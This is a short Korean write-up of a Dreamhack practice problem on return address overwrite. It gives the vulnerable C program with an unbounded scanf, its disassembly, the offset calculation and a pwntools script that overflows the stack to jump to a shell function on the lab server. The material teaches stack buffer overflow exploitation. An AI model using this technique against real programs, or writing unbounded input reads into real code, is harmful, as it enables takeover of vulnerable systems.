Exploit Tech: Return Address Overwrite에서 실습하는 문제입니다.
![]()
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
여기서 buf가 40 바이트 주어지고 scanf 함수로 값을 읽는다.
여기서 scanf 함수는 입력값의 크기를 계산하지 않기 때문에 bof가 발생한다.
Dump of assembler code for function main:
0x00000000004006e8 <+0>: push rbp
0x00000000004006e9 <+1>: mov rbp,rsp
0x00000000004006ec <+4>: sub rsp,0x30
0x00000000004006f0 <+8>: mov eax,0x0
0x00000000004006f5 <+13>: call 0x400667 <init>
0x00000000004006fa <+18>: lea rdi,[rip+0xbb] # 0x4007bc
0x0000000000400701 <+25>: mov eax,0x0
0x0000000000400706 <+30>: call 0x400540 <printf@plt>
0x000000000040070b <+35>: lea rax,[rbp-0x30]
0x000000000040070f <+39>: mov rsi,rax
0x0000000000400712 <+42>: lea rdi,[rip+0xab] # 0x4007c4
0x0000000000400719 <+49>: mov eax,0x0
0x000000000040071e <+54>: call 0x400570 <__isoc99_scanf@plt>
0x0000000000400723 <+59>: mov eax,0x0
0x0000000000400728 <+64>: leave
0x0000000000400729 <+65>: ret
End of assembler dump.
main 함수를 분석하면 이런 값이 나오는데,
buf의 크기가 48 바이트, sfp가 8 바이트이다.
그러므로 페이로드는
payload = b"A"*56 + b"\xaa\x06\x40\x00\x00\x00\x00\x00"
여기서 뒷쪽에 있는 값은 get_shell 함수의 주소를 c언어 문자열로 변환한 값이다.
from pwn import *
p = remote("host3.dreamhack.games", 14928)
payload = b"A"*56 + b"\xaa\x06\x40\x00\x00\x00\x00\x00"
p.sendline(payload)
p.interactive()